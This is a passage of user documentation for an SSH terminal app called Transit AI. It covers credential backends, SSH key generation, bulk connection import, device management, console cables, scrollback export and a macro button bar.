vault item at connect time. Distinct from the 1Password SSH agent above — this one is for plain-text secrets (router passwords, console-server passphrases, enable secrets), not for SSH keys. Requires `op` on your PATH and a signed-in 1Password session. **Fields:** - **1Password reference** — an `op://` URL pointing at the field. Example: `op://Personal/lab-pw/password`. **Steps:** 1. Install the 1Password CLI: `brew install --cask 1password-cli` (macOS) or follow [1Password's docs](https://developer.1password.com/docs/cli). 2. Sign in: `op signin`. 3. Pick `1Password` from the Secret backend dropdown. 4. Paste the `op://` reference. You can copy one from the 1Password app by right-clicking a field → **Copy Secret Reference**. 5. Click **Save**. ## Backend: environment variable Reads the secret from a process environment variable. Intended for headless / CI installs only — interactive desktop installs should prefer the OS keyring. **Fields:** - **Environment variable name** — the variable Transit AI will read. Example: `TRANSIT_LAB_PW`. **Steps:** 1. Export the variable in the shell that launches Transit AI (e.g. in your `.zshrc`, `.bashrc`, or systemd unit). 2. Pick `Environment variable` from the Secret backend dropdown. 3. Enter the variable name. 4. Click **Save**. The variable must be set before Transit AI starts; mid-session shell exports won't be visible. ## Backend: SSH key file Point a profile at a **private key file on disk** — the SecureCRT workflow, no SSH agent required. Transit AI reads the key in-process at connect time, decodes it, and authenticates; the key file stays where it is, and only its *path* is saved to the inventory. OpenSSH, PEM, and **PuTTY `.ppk`** keys all work. If the key is passphrase-protected, the passphrase is enrolled in your OS keychain (never the inventory). **Fields:** - **Private key file** — click **Browse…** and pick the key (e.g. `~/.ssh/transit_ed25519`), or type the path. `~` expands to your home directory. - **Key passphrase** (only if the key is encrypted) — typed once and saved to the OS keychain on Save. Leave blank for an unencrypted key. **Steps:** 1. Pick `SSH key file` from the Secret backend dropdown. 2. Click **Browse…** and choose your private key file. 3. If the key has a passphrase, enter it. (Unencrypted? Leave it blank.) 4. Click **Save**. 5. Assign the profile to a device whose `authorized_keys` holds the matching **public** key, then **Connect**. > **RSA on older gear.** Ed25519 keys always work. An RSA key uses the > strongest signature the device supports (`rsa-sha2-512/256`); a device > that only accepts the legacy SHA-1 `ssh-rsa` signature prompts you to > allow weak crypto first — the same opt-in as a SHA-1 cipher. **Power users — the TOML shape.** The dialog writes this for you; you can also hand-edit [`transit.toml`](#where-the-inventory-file-lives): ```toml [auth.lab-key] username = "knox" secret = { backend = "ssh_key", path = "~/.ssh/lab_ed25519", passphrase = { backend = "keyring", key = "transit/lab-key-passphrase" } } ``` If the key has no passphrase, omit the `passphrase` field. ## Backend: age-encrypted file (TOML-only) > *Advanced — there's no UI for this one. Open `transit.toml` in any > text editor; see [where this file lives](#where-the-inventory-file-lives) > for the path on your OS.* Loads the secret from an `age`-encrypted file, unlocked by a startup passphrase. Last-resort fallback for minimal Linux installs without Secret Service. **Edit your `transit.toml` directly:** ```toml [auth.lab-encrypted] username = "knox" secret = { backend = "encrypted_file", path = "/Users/knox/.config/transit/lab-pw.age" } ``` ## Appendix: Generate an SSH key If you don't have an SSH key yet — or you want a dedicated key for network gear instead of the personal one your laptop uses for GitHub — here's the short version. ### Pick a key type | Type | Use when | Notes | |---|---|---| | **Ed25519** | Anything modern (the default choice) | Tiny (256-bit), fast, secure. Native support in OpenSSH ≥ 6.5, Junos ≥ 18.3, Cisco IOS-XE ≥ 16.6, Arista EOS ≥ 4.21. | | **RSA 4096** | Legacy gear that doesn't recognize Ed25519 | Wider compatibility (works back to OpenSSH 5.x and pre-2015 IOS). Slower to generate, larger files. Stay at **4096 bits or higher** — 2048 is no longer considered hardened. | | **ECDSA** | (Not recommended) | NIST curves; some environments mistrust them. Prefer Ed25519. | | **DSA** | (Never) | Disabled in modern OpenSSH; Transit AI's cipher floor rejects it. | ### Generate an Ed25519 key (recommended) ```bash ssh-keygen -t ed25519 -C "transit-lab" -f ~/.ssh/transit_ed25519 ``` You'll be prompted for a passphrase. **Set one** unless you're about to immediately move the key into 1Password (where it gets hardware-backed protection instead). The passphrase encrypts the key on disk — a stolen laptop with no passphrase is a stolen key. This produces two files: - `~/.ssh/transit_ed25519` — the private key. Treat it like a password. - `~/.ssh/transit_ed25519.pub` — the public key. Safe to copy anywhere; this is what you install on devices. ### Generate an RSA 4096 key (fallback for legacy gear) ```bash ssh-keygen -t rsa -b 4096 -C "transit-lab-rsa" -f ~/.ssh/transit_rsa ``` Same passphrase guidance. The `.pub` file is what you install on devices; the private key stays on your machine (or in 1Password). ### Load the key into your SSH agent OpenSSH agent (macOS / Linux): ```bash ssh-add ~/.ssh/transit_ed25519 ``` On macOS, add `--apple-use-keychain` (Monterey and later) so the passphrase is stored in Keychain and doesn't prompt on every reboot: ```bash ssh-add --apple-use-keychain ~/.ssh/transit_ed25519 ``` To pre-load the key on every login, add to `~/.ssh/config`: ``` Host * AddKeysToAgent yes UseKeychain yes # macOS only IdentityFile ~/.ssh/transit_ed25519 ``` To load the key into the 1Password SSH agent instead, follow [Step 2 of the 1Password SSH agent section](#step-2-add-an-ssh-key-to-1password) above and remove the on-disk copy afterwards. ### Install the public key on a device Copy the *public* key (`.pub` file) to the device's authorized-key store: ```bash cat ~/.ssh/transit_ed25519.pub # ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI… transit-lab ``` Paste that string into the device CLI. The exact command varies by vendor — refer to the vendor's admin guide for the current syntax. As examples: - **Junos**: `set system login user knox authentication ssh-ed25519 "ssh-ed25519 AAAA…"` - **Cisco IOS-XE / NX-OS**: `configure terminal` → `ip ssh pubkey-chain` → `username knox` → `key-string` → paste the base64 block (split into ≤72-char chunks on IOS) → `exit` back to exec mode. - **Arista EOS**: `username knox ssh-key ssh-ed25519 AAAA…`. - **Linux server**: `ssh-copy-id -i ~/.ssh/transit_ed25519.pub knox@host`. After the public key is installed, point the device's auth profile in Transit AI at your `SSH agent` profile (or the 1Password SSH agent recipe) and **Connect** — no password prompt should appear. ## Where the inventory file lives | OS | Path | |---|---| | macOS | `~/Library/Application Support/Transit/transit.toml` | | Windows | `%APPDATA%\Transit\transit.toml` | | Linux | `~/.config/Transit/transit.toml` | You can also override the path with the `TRANSIT_INVENTORY` environment variable. ## What's never in the inventory file The secret value itself. The inventory only ever holds a reference (keyring key, `op://` URL, environment variable name, file path). A pre-load scan rejects inventory files that contain anything that looks like an inline credential. --- # Find your user ID and organization ID Source: https://transitai.app/docs/how-tos/find-your-ids/ You may need your **user ID** or **organization ID** when contacting support, filing a bug report, or (for enterprise admins) configuring aggregate reporting. Both IDs are UUIDs assigned at first sign-in. Neither is sensitive — they identify a tenant in our database, but holding one doesn't grant access to anything. ## Find them in Settings → Account 1. Click your account chip in the sidebar footer (bottom-left). 2. Choose **Settings…** from the popover. 3. Click the **Account** tab in the Settings dialog. 4. The first two rows show: - **User ID** — your individual identity (UUID). - **Organization** — your org's ID (UUID). 5. Click either value to copy it to the clipboard. ## What each ID means - **User ID** identifies a single human (one sign-in → one user ID). It's the identity attached to every API call and every entry in our usage logs. - **Organization ID** identifies the tenant your subscription attaches to. On first sign-in, a personal organization is auto-created so subscription + billing always run against an org. When you accept an enterprise invitation, your active organization switches to the inviting one. ## Sharing them - **For a support ticket**: paste both. We use the user ID to find your usage events; the org ID lets us see your subscription state. - **For a bug report on GitHub**: user ID is enough. - **Don't share** in a public forum post or on social media. They're not credentials, but they're identifiers and we'd rather not have them indexed. --- # Import connections in bulk Source: https://transitai.app/docs/how-tos/import-connections/ Transit AI imports your existing SSH connections in bulk from five sources — a **SecureCRT** export, an **MTPuTTY** server list, a **MobaXterm** sessions or configuration export, an **OpenSSH `ssh_config`**, or a **CSV** file. It reads host, port, username, folder structure, and key-file paths, then walks you through mapping each login to a credential before anything is saved. Transit never reads or decrypts your stored passwords. The SecureCRT password vault and config passphrase are ignored entirely, MTPuTTY's encrypted password fields are never read, MobaXterm keeps its passwords in its own credential store (they aren't in the exported session lines at all), and a CSV has no password column. Secrets are enrolled separately into your OS keychain during the import — they never live in the imported file. ## Open the importer Three equivalent ways: - Click the **Import** button (down-arrow) in the connections sidebar header. - On the welcome screen, choose the **Import** option. - Press **⌘K** and run **Import connections…**. The importer is a three-step, full-pane wizard: **1 · Source**, **2 · Credentials**, **3 · Review & import**. Nothing is written to your inventory until you click **Import** on the last step, and the batch is all-or-nothing — a single bad row writes nothing, so your existing connections are never left half-changed. ## What Transit reads — and what it never touches | Reads from your file | Never reads | |---|---| | Hostname / IP, port, username | Stored passwords | | Folder / session hierarchy → groups | The SecureCRT password vault (`Password V2`) / MTPuTTY `Password` fields | | Key-file **paths** (never key contents) | The SecureCRT config passphrase | | Jump-host / `ProxyJump` references | (CSV has no password column) | Credentials are mapped in **step 2**, not pulled from the file. Transit groups your connections by distinct login, shows one row per login, and lets you point each at an existing auth profile or create a new one — the secret goes straight to your OS keychain. See [Create an auth profile](/docs/how-tos/create-auth-profile/). ## Method 1 — SecureCRT Select your SecureCRT **`SCRTConfig.xml`** — the single-file session store SecureCRT keeps in its configuration folder (you can also produce it with SecureCRT's *Export Settings* action). Transit parses the modern `VanDyke version="3.0"` format as real XML. | SecureCRT field | Transit field | |---|---| | `Hostname` | Host | | `[SSH2] Port` | Port (default `22`) | | `Username` (or the named credential's username) | Username | | Session folders | Group, e.g. `Lab/Core` | | `Firewall Name` | Jump host (unless `None`) | | `Identity Filename V2` | Key-file path | | `Credential Title` | Links to a shared credential, deduped once | Only **SSH2** sessions are imported. Telnet, Serial, RDP, and Local Shell sessions are skipped — you'll see them listed in the **notes** — as are SecureCRT's built-in `Default` templates. The encrypted password vault (`Password V2`) and the configuration passphrase are never read, not even into a discarded variable. You re-enter those secrets once, in step 2. ## Method 2 — OpenSSH ssh_config Point the importer at an OpenSSH client config — your `~/.ssh/config`, or any file containing `Host` blocks. | `ssh_config` directive | Transit field | |---|---| | `Host ` | Connection name | | `HostName` | Host (falls back to the alias) | | `Port` | Port (default `22`) | | `User` | Username | | `ProxyJump` | Jump host (unless `none`) | | `IdentityFile` (the first one wins) | Key-file path | Three things to know: - **Wildcard-only blocks are skipped.** `Host *` and similar are defaults, not real hosts. A block that mixes a concrete name and a wildcard (e.g. `Host edge *.lab`) is kept under the concrete name. - **`Include` directives are not followed.** Transit reads only the single file you pick. If your hosts live in included files, point the importer at the file that actually holds the `Host` blocks, or concatenate them first. Any skipped `Include` is reported in the notes. - **No vendor or folder.** `ssh_config` carries neither, so set the **vendor** and **group** in the review grid (you can bulk-set a whole selection at once). ## Method 3 — CSV (the universal format) CSV is the escape hatch — build it from a spreadsheet, an inventory export, or a script. Only the **`host`** column is required; everything else is optional. ### Columns | Column | Accepted headers | Required | Default | Notes | |---|---|---|---|---| | Host | `host` | **Yes** | — | IP or hostname. The only required column. | | Name | `name`, `id` | No | the host value | The connection's name. | | Port | `port` | No | `22` | | | Username | `username`, `user` | No | — | | | Vendor | `vendor` | No | `unknown` | One of the tags below. | | Group | `group` | No | — | `/`-separated folder path, e.g. `Lab/Core`. | | Key path | `key_path`, `identity_file` | No | — | Path to a private key; `~` is expanded. | Headers are matched **by name, case-insensitively, in any order** — `Host`, `HOST`, and `host` are equivalent, and columns can appear in any sequence. Unknown columns are ignored. **There is no password column**: a CSV row never carries a secret. ### Vendor tags The `vendor` value is lowercase and case-sensitive. Use one of: | Tag | Device | |---|---| | `junos` | Juniper Junos | | `cisco_ios` | Cisco IOS | | `cisco_ios_xe` | Cisco IOS-XE | | `nxos` | Cisco NX-OS (alias: `cisco_nxos`) | | `arista_eos` | Arista EOS | | `pan_os` | Palo Alto PAN-OS | | `linux` | Linux / Unix (unrestricted policy) | | `unknown` | Other / unset | Any other lowercase tag — letters, digits, and underscores — is accepted as a **custom vendor** that you pair with your own permit list. See [Vendor coverage](/docs/vendors/). ### Save as UTF-8 without a BOM Save the file as plain **UTF-8 with no byte-order mark**. Some spreadsheet apps add one (Excel's *CSV UTF-8* option does); a BOM hides the `host` header from the parser, and the import fails with `missing required host column`. A normal editor's *UTF-8*, and the template below, are correct. ## Download the CSV template [**Download `transit-connections-template.csv`**](/templates/transit-connections-template.csv) — a ready-to-edit header row with example rows for several vendors plus one minimal host-only row. ```csv name,host,port,username,vendor,group,key_path core-rtr1,192.0.2.1,22,netops,junos,Lab/Core, dist-sw1,192.0.2.2,22,netops,arista_eos,Lab/Distribution,~/.ssh/id_ed25519 edge-fw1,192.0.2.3,22,admin,pan_os,Lab/Edge, spine1,192.0.2.4,2222,admin,nxos,DC1/Spine, app-server1,192.0.2.10,22,root,linux,Servers, ,192.0.2.50,,,,, ``` The addresses use the `192.0.2.0/24` documentation range, so they won't collide with real gear. The last row shows the minimum — a bare `host` — which imports as a connection named `192.0.2.50`, port `22`, vendor `unknown`, with no credentials yet. ## Method 4 — MTPuTTY In MTPuTTY, use **Server → Export** and save the XML file, then point the importer's **MTPuTTY** tile at it. Copying the app's own `%APPDATA%\\TTYPlus\\mtputty.xml` works too — both file shapes are accepted. What comes across: display names, host, port, username, and your folder tree (as groups). Entries whose username, port, or key file live only in the PuTTY command-line parameters (`-l`, `-P`, `-i`, `user@host`) are picked up from there as a fallback. Two kinds of entries are listed as skipped in the review notes rather than imported: - **Registry-backed entries** — an MTPuTTY server that only references a *PuTTY saved session* stores its host and port in the Windows registry, not in the XML. Open the session in PuTTY, note the host, and add it in Transit manually (or set the host on the MTPuTTY entry and re-export). - **Non-SSH connection types** — telnet, rlogin, raw, and serial entries are named in the notes and left out. MTPuTTY's `Password` / `PlainPassword` fields are never read — you map each login to a Transit credential in step 2, same as every source. ## Method 5 — MobaXterm Any of MobaXterm's three session-bearing files works: - Right-click **User sessions** → **Export sessions to file** (`.mxtsessions`) — sessions only, the tidiest option. - **Settings → Export configuration** (`.mobaconf`) — the full backup; Transit reads just the bookmark sections and ignores the rest. - The live `MobaXterm.ini` from `%APPDATA%\\MobaXterm` (or next to the portable executable). **SSH sessions import** with host, port, username, private-key path (when one is set), and your bookmark folder tree as groups. Everything else — telnet, RDP, VNC, SFTP, WSL, browser sessions — is named in the review notes as skipped, so nothing disappears silently. MobaXterm stores session passwords in its own credential store; they are not present in the exported lines and Transit never touches them. Accented session names are fine — the importer handles MobaXterm's Windows-1252 file encoding automatically. ## Review, de-duplicate, and import The review grid lists every connection found. Edit any cell inline — name, host, port, vendor, group, auth profile — or select several rows and bulk-set a field. Each row shows a status, and a **notes** disclosure collects every parser warning (skipped sessions, unfollowed `Include`s, rows with no host). De-duplication is automatic and never destructive: - **Duplicate within the file** — a second connection that resolves to the same name gets a numeric suffix (`core-rtr1`, then `core-rtr1-2`). Nothing is dropped. - **Already in your inventory** — a connection whose name matches an existing device is **flagged and left unchecked**. Rename it to import it, or leave it excluded to skip it. Transit never silently overwrites a connection you already have. Names are normalized to letters, digits, `_`, and `-`; other characters collapse to a single `-` (so `core rtr 1` becomes `core-rtr-1`). Click **Import** to commit. Auth profiles you created are already saved, and the connections are written in one atomic batch. ## Limits - **File size** — 64 MiB. The parser refuses anything larger; a real SecureCRT export is ~1–2 MiB, so this is generous. - **Connection count** — no limit. - **Encoding** — UTF-8, plus Windows-1252 (what MobaXterm and other Windows exports actually write) detected automatically. ## Troubleshooting - **`missing required host column`** — The CSV's header row has no `host` column, or the file was saved with a BOM that hid it. Add a `host` header and re-save as UTF-8 without a BOM. - **"No connections were found in that file."** — For `ssh_config`, the hosts may live in `Include`d files (not followed), or the file is all wildcard `Host *` blocks; point at the file with real `Host` blocks. For SecureCRT, confirm you selected the `SCRTConfig.xml` (it has a `` root). - **A SecureCRT session is missing** — Non-SSH2 sessions (Telnet, Serial, RDP, Local Shell) are skipped by design. Check the **notes** list on the review step. - **The vendor imported as `unknown`** — The `vendor` cell was empty or not one of the tags above (values are lowercase and case-sensitive). Set it in the grid, or bulk-set a selection. - **Where do my passwords go?** — Nowhere, from the file. You map each login to a credential in step 2, and the secret is enrolled into your OS keychain at that point. ## Related - [Add a single device](/docs/how-tos/add-a-device/) - [Create an auth profile](/docs/how-tos/create-auth-profile/) - [Edit a device](/docs/how-tos/edit-a-device/) - [Vendor coverage & permit lists](/docs/vendors/) --- # Add a device Source: https://transitai.app/docs/how-tos/add-a-device/ A **device** in Transit AI is a single host you want to SSH into. Adding a device records the connection details and the name of an auth profile to use. The auth profile (and the credential it references) must already exist — see [Create an auth profile](/docs/how-tos/create-auth-profile/) if you haven't set one up yet. ## Open the new-device dialog Two ways: - Click the **+ icon** in the sidebar header. - Right-click empty space in the device tree and pick **New device…**. To pre-fill the group field with an existing group path, right-click a group folder in the tree and pick **New device in this group…**. ## Fields | Field | Required | Notes | |---|---|---| | **ID** | yes | Stable identifier. Shown in the sidebar; used as the default tab label on connect. Example: `vEX1`. | | **Host** | yes | DNS name or IP address. Example: `172.20.1.35` or `core-sw1.lab`. | | **Port** | yes | SSH port. Default: `22`. | | **Vendor** | yes | Selects the per-vendor permit list for AI-proposed commands. See [Vendor coverage](/docs/vendors/). | | **Group** | no | Slash-separated path for sidebar grouping. Example: `Lab/Junos`. | | **Auth profile** | yes | Pick from the list of existing profiles. Click **+ New** in the dropdown to create one inline. | | **Syntax highlighting** | no | Toggle. Off by default. See [Turn on syntax highlighting](/docs/how-tos/syntax-highlighting/). | | **Quick copy/paste** | no | Toggle. Off by default. See [Turn on quick copy/paste](/docs/how-tos/quick-copy-paste/). | ## Steps 1. Open the new-device dialog (see above). 2. Enter an **ID**, **Host**, and **Port** (or accept default 22). 3. Pick the **Vendor**. This matters — it drives which commands the AI is allowed to propose. 4. Optionally enter a **Group** path (e.g. `Lab/Junos`). Groups can be nested with `/`. 5. Pick or create an **Auth profile**. 6. Optionally enable **Syntax highlighting** and / or **Quick copy/paste** for this device. 7. Click **Save**. The device appears in the sidebar tree. ## What's written to disk The device is appended to your `transit.toml` inventory file under its group path. The file is rewritten atomically (write to a temp file, then rename) so an interrupted save can't corrupt the inventory. The auth profile reference is stored by name — the credential itself is fetched from the chosen backend at connect time and never copied into the inventory. ## Next steps - [Connect to the device](/docs/how-tos/connect-to-a-device/) - [Edit the device](/docs/how-tos/edit-a-device/) to change its settings later. --- # Connect to a device Source: https://transitai.app/docs/how-tos/connect-to-a-device/ This page covers opening an SSH session to a device that's already in your inventory. If the device isn't there yet, see [Add a device](/docs/how-tos/add-a-device/) first. ## Three equivalent ways Use whichever your hands are already on: 1. **Right-click** the device row in the sidebar → **Connect**. 2. **Double-click** the device row. 3. **Click** the device row to focus it, then press **Enter**. All three open a new tab at the top of the work area and focus it. ## What happens during connect 1. Transit AI resolves the device's auth profile, fetches the credential from its backend (OS keyring, SSH agent, 1Password, etc.), and authenticates over SSH. 2. On **first connect** to a host, Transit AI prompts you to confirm the host-key fingerprint (TOFU — trust on first use). Accepting pins the fingerprint to your `known_hosts.toml` file. Rejecting aborts the connect. 3. After auth, a PTY shell opens. The tab appears in the strip at the top of the work area and is focused. ## Connecting to the same device more than once Each **Connect** opens a new tab. Multiple sessions per device are allowed. Tab labels disambiguate as `vEX1`, `vEX1 (2)`, `vEX1 (3)`, etc. ## If the connection fails Common failures: - **Authentication failed**: the credential in your auth profile is wrong or expired. Open the auth profile (key icon in the sidebar → the row → Edit) and re-enter the secret. - **Host-key mismatch**: the device's fingerprint has changed since the last connect. Transit AI shows a changed-key warning with the pinned and new fingerprints side by side. If you expected the change (re-image, RMA, firmware re-key), verify it out-of-band, tick **I've verified this key change is legitimate**, and click **Replace & connect** — the pin is rewritten only after the connection also authenticates. If you didn't expect it, decline — a silently changed host key is what a MITM attack looks like. The old pin stays until you explicitly replace it. - **Connection refused / timeout**: networking. Check the host / port, your VPN, and any corporate proxy. - **Cipher unsupported**: the device offers only weak crypto (e.g. SHA1 KEX on old Cisco IOS-XE images). Transit AI shows a per-device opt-in dialog with the offered algorithms. Click **Connect anyway** to accept once, or tick **Remember** to mark the device as legacy-crypto in your inventory. ## Disconnecting Two ways: - **Type `exit` / `logout`** in the terminal. The remote closes the channel; the tab stays in place with a "session ended" banner so you can still scroll the final output. Press **Enter** in the ended pane to reconnect (see [Reconnect a closed session](/docs/how-tos/reconnect-a-session/)), or click the X on the tab to close it. - **Click Disconnect** in the pane header (or click the X on the tab). A confirm dialog asks before closing a still-connected session. --- # Edit a device Source: https://transitai.app/docs/how-tos/edit-a-device/ This page covers editing a device that's already in your inventory. ## Open the edit dialog 1. Right-click the device row in the sidebar. 2. Pick **Edit device…** from the context menu. 3. The Edit device dialog opens, pre-filled with the device's current values. ## Editable fields The same fields as the new-device dialog (see [Add a device](/docs/how-tos/add-a-device/)): - ID - Host - Port - Vendor - Group - Auth profile - Syntax highlighting toggle - Quick copy/paste toggle ## Effects on active sessions Editing a device does **not** affect sessions that are already open. The new values apply to subsequent connects: - Changing **Host**, **Port**, **Vendor**, or **Auth profile**: the next Connect uses the new values; existing sessions keep running with the old values until you close them. - Toggling **Syntax highlighting** or **Quick copy/paste**: takes effect on the next mouse click / keystroke in any open pane for this device. You don't need to reconnect. ## Renaming a group To rename a group folder (and move every device in it): 1. Right-click the group folder in the sidebar. 2. Pick **Rename group…**. 3. Enter the new path. You can change a single segment (`Lab` → `LAB`) or restructure (`Lab/Junos` → `Production/Junos`). 4. Click **Save**. Every device under the old path has its `group` field rewritten. ## Deleting a device 1. Right-click the device row in the sidebar. 2. Pick **Delete device…**. 3. Confirm. The device is removed from the inventory. The auth profile (and any credentials it references) is not touched. If you want to remove the auth profile too: 1. Click the key icon in the sidebar header. 2. Find the profile in the manager. 3. Click **Delete** on the row. If the profile is still referenced by another device, the deletion is refused and the list of referencing devices is shown. --- # Reconnect a closed session Source: https://transitai.app/docs/how-tos/reconnect-a-session/ When the remote closes an SSH channel (you typed `exit` / `logout`, the device rebooted, your VPN dropped), Transit AI keeps the tab around with the final scrollback visible and a "session ended" banner at the bottom. You can reconnect in place without losing the tab slot. ## Steps 1. Click the pane (so it takes keyboard focus). 2. Press **Enter**. Transit AI: 1. Best-effort disconnects the dead backend session (so the AI's list of open sessions stays accurate). 2. Opens a fresh SSH session to the same device using the same auth profile. 3. Swaps the new session ID into the same tab slot. Your custom tab label (if you renamed it) and any split-pane anchor are preserved. The pane clears and you see the new shell's welcome banner. The amber "session ended" banner disappears. ## When reconnect fails A reconnect can fail for the same reasons a first connect can — authentication, networking, host-key mismatch. Failures pop a toast in the bottom-right with the reason; the dead pane stays in place so you can retry by pressing Enter again, or close it manually. ## Mass reconnect after a network blip There's no "reconnect everything" button in v1. Each tab needs an individual Enter. Auto-reconnect-on-blip is on the roadmap. ## Why not just open a new tab? You can — right-click the device in the sidebar and **Connect** again, and the dead tab can be closed manually. Press-Enter reconnect saves a click and preserves tab order, which matters when you've laid out multiple panes deliberately. --- # Split panes side-by-side Source: https://transitai.app/docs/how-tos/split-pane/ A split-pane tab shows two SSH sessions side-by-side in the same tab. Useful when you're cross-referencing two devices (a switch and the firewall in front of it; two halves of an HA pair). ## Steps — open a split 1. Make sure the **left** session is already open (it'll be the primary; the new session becomes the right pane). 2. Right-click the tab in the strip. 3. Hover **Split right with…**. A submenu lists every device in your inventory, with the current tab's device shown first (you can split with itself for a second session of the same host). 4. Click the device you want as the right pane. 5. Transit AI opens a new SSH session to that device and renders it as the right pane. ## Resize Drag the vertical divider between the two panes left or right. The percentage split is per-tab and resets to 50/50 if you reopen the tab. ## Unsplit There's no explicit "unsplit" command. Close the right pane to return to a single-pane tab: - Click **Disconnect** in the right pane's header. The remote session ends; the right pane disappears. - OR right-click the right pane's tab area — actually the right pane has no tab of its own. The X on the primary tab closes **both** sessions (cascading close); use that only when you want to close the whole tab. ## What's the same as a non-split tab - Both panes have their own scrollback, search overlay, and paste confirmation. - Per-device preferences (syntax highlighting, quick copy/paste) apply to each pane independently based on its device. - Press **Enter** in either pane to reconnect it if its session ends. The other pane is unaffected. ## What's different - Tab labels show only the primary device's ID. The right pane's device isn't surfaced in the tab strip. - The AI sees both sessions as peers when it lists your open sessions — there's no notion of "split" at the backend level. --- # Connect to a console cable Source: https://transitai.app/docs/how-tos/console-cable/ Transit AI supports USB-to-serial console cables (FTDI, Silicon Labs, Prolific) for out-of-band access to network gear. The same agent and terminal that drive SSH sessions drive console sessions identically. > **Cable compatibility:** Not every USB-to-serial cable has been > tested with Transit AI — but [this one](https://www.amazon.com/dp/B0774JV2QQ) > has, and is a safe starting point if you don't already own one. **Platform support:** macOS only in v1. Windows and Linux are planned follow-ups. ## When does the console section appear? The **Console cables** section in the sidebar is **hidden when no cables are plugged in**. Plug a USB-to-serial cable into your machine and the section appears at the bottom of the sidebar above the account chip. If the cable's chip is detected but no `/dev/cu.*` node appears, macOS hasn't loaded the driver. Transit AI surfaces this with a "FTDI/SiLabs/Prolific driver not loaded — install the VCP driver and approve in System Settings → Privacy & Security" warning. Most cables ship with macOS-compatible drivers; the Silicon Labs CP210x is a common one. ## Open the console-connect dialog 1. Find the cable in the **Console cables** section of the sidebar. 2. Click the row. The Console connect dialog opens. ## Fields | Field | Default | Notes | |---|---|---| | **Vendor** | Junos | Selects the per-vendor permit list (same as SSH devices). | | **Baud** | 9600 | Common rates: 9600, 19200, 38400, 57600, 115200. Most network gear is 9600. | | **Data bits** | 8 | Almost always 8. | | **Parity** | None | Almost always None. | | **Stop bits** | 1 | Almost always 1. | | **Flow control** | None | Some older gear uses RTS/CTS hardware flow control. | The defaults (Junos / 9600 8N1 / no flow) match the majority of network device configurations. ## Steps 1. Plug the USB-to-serial cable into your Mac and the device's console port (an RJ45 → USB cable for Cisco, a DB9 → USB cable for older Juniper / Arista, etc.). 2. Approve any driver prompt your OS surfaces. 3. Confirm the cable appears in the **Console cables** section in the sidebar. 4. Click the row. 5. Pick the **Vendor** that matches the device on the other end. 6. Tweak the serial settings if your device deviates from 9600 8N1. 7. Click **Connect**. A new tab opens with the console session. ## Mid-session unplug If you yank the cable mid-session, the tab is marked **ended** (same UX as an SSH session whose remote closed). The scrollback survives until you close the tab; press Enter to reconnect once the cable is plugged back in. ## What's the same as an SSH session - Vendor selection uses the same per-vendor permit list. - The AI reads scrollback the same way (with secrets stripped out) and proposes commands through the same approval dialog. - Multi-line paste confirmation, syntax highlighting, quick copy/paste — all per-device toggles that apply to console sessions identically. ## What's different - No host-key TOFU prompt (it's a local serial port, not a remote host). - No authentication step at the Transit AI layer — auth happens at the device's login prompt over the serial line. --- # Export a session's scrollback Source: https://transitai.app/docs/how-tos/export-a-session/ Export saves an SSH session's scrollback to a file. The bytes are re-redacted on save (PEM blocks, passwords, AWS keys, JWTs stripped), and you can optionally encrypt the file with a passphrase using [age](https://github.com/FiloSottile/age). A shared transcript can't accidentally leak credentials — even ones that escaped redaction at display time get a second pass on export. ## Steps 1. Right-click the tab in the strip. 2. Pick **Export scrollback…**. The Export dialog opens. 3. Pick an encryption mode: - **None** — writes plaintext `.log`. - **Age passphrase** — writes `.log.age` encrypted with the passphrase you supply. 4. If you chose passphrase encryption, enter the passphrase (twice, to confirm). 5. Click **Export**. A native save dialog opens with a default filename derived from the tab's label and current timestamp. 6. Pick a location and click **Save**. The file is written to disk via Transit AI's process, not through the browser — no clipboard hop. ## Decrypting an age-encrypted export ```bash age -d transcript.log.age > transcript.log ``` The `age` binary is on Homebrew (`brew install age`) and most Linux distros' package managers. The passphrase prompt matches what you typed in the dialog. ## Why re-redact on save? The redaction filter runs continuously on incoming bytes, but a fresh pass at save time catches anything the streaming filter might have missed: - Patterns added since the session opened (we sometimes ship pattern updates in patch releases). - Multi-line patterns (PEM, SSH key blocks) that the streaming filter sees in chunks and the save filter sees in full. The re-redaction is non-destructive in memory — the original bytes in the live terminal pane aren't modified. ## File format Plain UTF-8. Line endings are preserved as they were in the device output. No metadata header — just the raw redacted scrollback. For binary-safe export (preserving ANSI escapes, alt-screen state), the file is byte-for-byte what was in the terminal's scrollback buffer, minus any redactions. --- # Use the button bar Source: https://transitai.app/docs/how-tos/use-the-button-bar/ The button bar is a row of one-click macro buttons below the terminal. Each button sends a string you define — a command plus Enter, a control code, a timed sequence — to the **active** session. It is **off by default** and starts **empty** until you map your first button. Buttons send keystrokes exactly as if you typed them: straight down the PTY as human input. A button press does **not** go through the AI agent and is **not** policy-gated — the per-vendor command gate only ever applies to commands the *AI* proposes. A button you press is just you, typing fast. ## Show or hide the bar Toggle it from the menu bar: **View → Button Bar** (a checkmark shows when it is on). You can also right-click the bar itself and choose **Hide button bar**. The setting is remembered between launches. ## Map a button 1. With the bar showing, click **+ New button…** (or right-click empty space on the bar → **New button…**). 2. In the **Map Button** dialog, leave **Function** on **Send String**. 3. Type a **Label** — the text shown on the button (e.g. `show ver`). 4. Type the **String** to send (e.g. `show version\r`). The escape codes are listed right under the field. 5. Click **OK**. The new button appears at the end of the bar. To change a button later, **right-click it → Edit…**; to remove it, **right-click → Delete**. Buttons are global — the same bar shows for every session, and a press always goes to whichever tab is in front. (If the front tab's session has ended, the press is ignored.) ## Escape codes The **String** field is literal text plus these escape codes: | Code | Sends | |---|---| | `\r` | Carriage return — **Enter** (submit a command) | | `\n` | Line feed (newline) | | `\e` | Escape (`0x1B`) — the start of an ANSI sequence | | `\p` | A one-second pause before the next characters | | `\v` | The current clipboard contents (paste) | | `\\` | A literal backslash | | `\###` | A raw byte from one to three **octal** digits (e.g. `\003` = Ctrl-C, `\033` = Escape) | Anything else after a backslash is sent as the plain character. ### Examples | Goal | String | |---|---| | Run a command and submit it | `show version\r` | | Send **Ctrl-C** to interrupt | `\003` | | Enter enable mode, wait, then send a password | `enable\r\ppassword\r` | | Paste the clipboard, then press Enter | `\v\r` | | Move the cursor up (ANSI) | `\e[A` | Unlike a `Cmd/Ctrl-V` paste, a `\v` in a button sends the clipboard straight through — it does **not** go through the [multi-line paste confirmation](/docs/how-tos/quick-copy-paste/), because you authored the macro yourself. ## Limits A label can be up to 48 characters and a string up to 1024, and you can map up to 50 buttons. Buttons can't be reordered yet — new ones append to the end of the bar. --- # Turn on syntax highlighting Source: 